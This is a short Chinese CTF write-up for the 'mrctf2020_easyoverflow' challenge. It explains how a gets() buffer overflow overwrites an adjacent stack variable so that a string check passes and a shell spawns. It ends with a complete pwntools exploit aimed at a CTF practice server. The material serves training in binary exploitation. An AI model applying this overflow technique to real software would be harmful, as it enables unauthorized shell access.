mrctf2020_easyoverflow
步骤:
- 例行检查,64位程序,保护全开
- 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开
只要满足18行的条件,就能够获取shell - check()
很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g
- 看main函数可以知道,v5一开始是
ju3t_@_f@k3_f1@g
,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处
v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g
从而获取shell
payload=‘a’*0x30+n0t_r3@11y_f1@g
完整exp
from pwn import *
r=remote("node3.buuoj.cn",25779)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()